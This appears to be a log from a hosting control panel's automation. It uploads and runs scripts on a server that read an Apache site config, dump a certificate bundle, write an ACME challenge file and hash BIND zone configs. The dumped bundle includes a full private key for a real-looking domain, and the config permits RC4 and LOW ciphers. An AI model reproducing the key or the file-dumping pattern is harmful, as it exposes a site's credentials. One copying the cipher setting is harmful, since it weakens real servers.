#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-14 06:00:26: 

chmod 755 /tmp/pkp310863; /tmp/pkp310863; rm /tmp/pkp310863

2026-07-14 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf	1403

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-14 06:00:26: 

PUT: /tmp/pkp247934

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-14 06:00:26: 

chmod 755 /tmp/pkp247934; /tmp/pkp247934; rm /tmp/pkp247934

2026-07-14 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt	7449
62:2c:a0:42:be:44:b3:75:58:f1:b1:b3:c6:5e:42:10

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBbM5oeVvvZCyvKsLWHe2BMbMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzE0MDUwMTU0WhcNMjYxMDEyMDUwMTUzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAx1W08DVuv+nwDzLPkzvRmL5M9Jbnjai0RUXQypx9betff43itW1Mel623Uew
YDVu+atVLhd8VbfAkcq6Ql3GwnWfr5Fp1TmNXc/jM/TT0F5ud2hh4nY+COPnFcJR
2oX0xMMq6Pm59k7gF+kZWllOXpEiZUlL0Zz7bV8ggJWcx3w5MHQvmnVYo9eTmSu6
6x4sSq/I5IsW8YMmrl10wVJwV2tKmKMRrI0NQgY/XI9MHBCu7iGsgZbCjEJEFvi9
GXg6Veg0iFKOQS8UPg9OAZMhAbAElc03ZWZUdABwjMhbeqdh/oWaILrNqvu1JunK
3zDcHzVffyAuaJS889UpBEQRcwIDAQABo4ICNDCCAjAwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFCtN
OO1RERXi1y0lZwE9ZVYvUvOOMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+B
DIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLm9yZy51a4IUd3d3LmNhcmVs
aW5rcy5vcmcudWswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy83Ny5jcmwwggEMBgorBgEEAdZ5AgQC
BIH9BIH6APgAdgCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9f
NlfDAAAEAwBHMEUCIQC+KOX4jy7RfJHsYFJBsoisGbvG0DxS9CWBfI7Vya0AkAIg
J2ursuqmmK18F6bgK001KASOsy3JKXSP/GXlia4O7pUAfgBGr4Y9Oz7ln6V33qgk
XTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ9fNlgLAAgAAAUADOYusgQDAEcwRQIgFJq3
+e6c2nwRDOa3Qd2nZwSsjugrwcd3vuUjzATDPj4CIQCQ0rN7SIhkeIE7SHUm5/rF
hK2TWkzRXaii87G/AapTVzANBgkqhkiG9w0BAQsFAAOCAQEAFevZ5tJkiA62empP
Yb4lg/E02RXOwVK2Y3JqNM/XPskyTj048CCwsbFt4YQg4N/0zM9InMaR/ggJsth8
Nc3FOj2xnlAQxDkh8T85IbomGYwWBkGHzGqcjYg3Gj+dQeLPIVb93rpcOfVkefMl
vKvHkLbsLgOmZnN0gpAKh8/eW6iziK7neBu2Cwhx4oJ7ba0IndlD/WDmc6p7swMW
ZUkSVz6srIetbTPhGa8NOqmiBjEeu3LRDVd9G6rb3/3tnhtNRldUZxOh59De4tMi
mEhoxpkShe/ELaE0WweCAjzVV+bA0B5++6bEZVYP6ei1n3dYf1/6I0W0fKw3uxkd
Nq3CGQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHVbTwNW6/6fAP
Ms+TO9GYvkz0lueNqLRFRdDKnH1t619/jeK1bUx6XrbdR7BgNW75q1UuF3xVt8CR
yrpCXcbCdZ+vkWnVOY1dz+Mz9NPQXm53aGHidj4I4+cVwlHahfTEwyro+bn2TuAX
6RlaWU5ekSJlSUvRnPttXyCAlZzHfDkwdC+adVij15OZK7rrHixKr8jkixbxgyau
XXTBUnBXa0qYoxGsjQ1CBj9cj0wcEK7uIayBlsKMQkQW+L0ZeDpV6DSIUo5BLxQ+
D04BkyEBsASVzTdlZlR0AHCMyFt6p2H+hZogus2q+7Um6crfMNwfNV9/IC5olLzz
1SkERBFzAgMBAAECggEABX1Qln2U4g0iaCYT6Fqb4D3RZw+m1dRhDo1TKC6cwlkF
OsE2Dp1cH1HvbZ2f965RCD2AgtybtyKbLN4CjiRV/nH4fAB1roJqExIlZX9nET8g
ggJVERmvhgAnaNvT9EAp0vy1ovqJoAULuoItXrsZ45R8otccvZY5/bOXyg1qEWZH
sdNbmnTaGSg+fEjtY+Fjy5CIDeCm2WHdgIZkI+996f7r55UTwIzV01yQ0nT9c6XJ
rDG5G7i/kKzTI8u3tR8Jw4UYHZlJbPzH4u3NBtTRSJMonbIQemAESJFxe6TleCVW
XlCapSvEnn/mq1NeipRkPsJz05WzdnhFZF9UyS2piQKBgQD+aqp1LAQlKhZESIK3
YEb9LS7wHWQAxPdTMBFu2Hkz3+JjN75J1I6ltEZdTRj7kyjXMcefsglnIHJWRe13
xqLRodmlgqx3tu/4rcdDmDqT0wLyNx5Cdyh32kfm3Nqzt5TgOtCXCdjro+qTe9nc
v1MGGOeFH6eTDEnFIO8TLiKJawKBgQDIk0j4UwCSP3sN8hyW92dveGywP3PEWbE3
vlRwbvDZuTT+whTLNMr7IqauHp5Zthhs3GAbNyn67r9WDYkzqd2g409ogibsfhDu
vFH50ipFcxNP8x5TK04ajKm1SoFX5jqlXmOTwI+Au9dCixJQJONGRUb8MmKja9at
gJNSctlyGQKBgQCiklp2IThM30X3QDZ3I0h5g6PYv48lhrdcKv0Yza81XLz3Fam8
19yHOlk0SY3LRE/2otKi00t64JrvUiPaQ83LExdW0dePcBCL4c/Q+7eCunXJfTsS
0b3ESHFlrn76FDdHyY181kgM22OL9rpSetd8r/FRedbE+jcxhkf/A54CHQKBgFEs
Yly1YsbNUCTNtkpWqBLR3tLZayWs0u7nZU73ZxwGO29a5oVywS8vz9sp4xYVfv8X
lQGOqru2QdM2uS8icOJ6/Bkki1Islve3WUnMh3UB5G/3yW8JWJugD9Kh64TCVTu1
3oDebnVAEBcLJ4ct1pkK0naggZD3xLMFFRpKBryJAoGBAJ9SgXH8zIiOLVgXn5mj
eTuppEhntISpQjvLFLSMLtu+FAvlNgs4ARxYvTpO0jMIcSSaPQXtTW+KXDHUu8hl
AiiqNzGbqACuCuhxLcSkOSW7Jod+H76Ay4kLYvEaZIo4Hw2HTk22wT+uASTW/I/d
qlEo7Z5wYWYsJduCNya4xzTv
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-14 06:00:26: Establishing a connection
2026-07-14 06:00:26: Establishing a connection
2026-07-14 06:00:27: 

PUT: /tmp/pkp363576

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-14 06:00:27: 

chmod 755 /tmp/pkp363576; /tmp/pkp363576; rm /tmp/pkp363576

2026-07-14 06:00:27: 


1


2026-07-14 06:00:27: Establishing a connection
2026-07-14 06:00:27: 

PUT: /tmp/pkp155759

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > QyMSdEYncJASZhZUr1aEs7vsV7KmsII7I2AeIzYsU24 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QyMSdEYncJASZhZUr1aEs7vsV7KmsII7I2AeIzYsU24.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QyMSdEYncJASZhZUr1aEs7vsV7KmsII7I2AeIzYsU24


2026-07-14 06:00:27: 

chmod 755 /tmp/pkp155759; /tmp/pkp155759; rm /tmp/pkp155759

2026-07-14 06:00:27: 




2026-07-14 08:11:46: Establishing a connection
2026-07-14 08:11:53: Establishing a connection
2026-07-14 08:11:54: 

PUT: /tmp/pkp146071

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-14 08:11:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp146071; rm /tmp/pkp146071'

2026-07-14 08:11:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
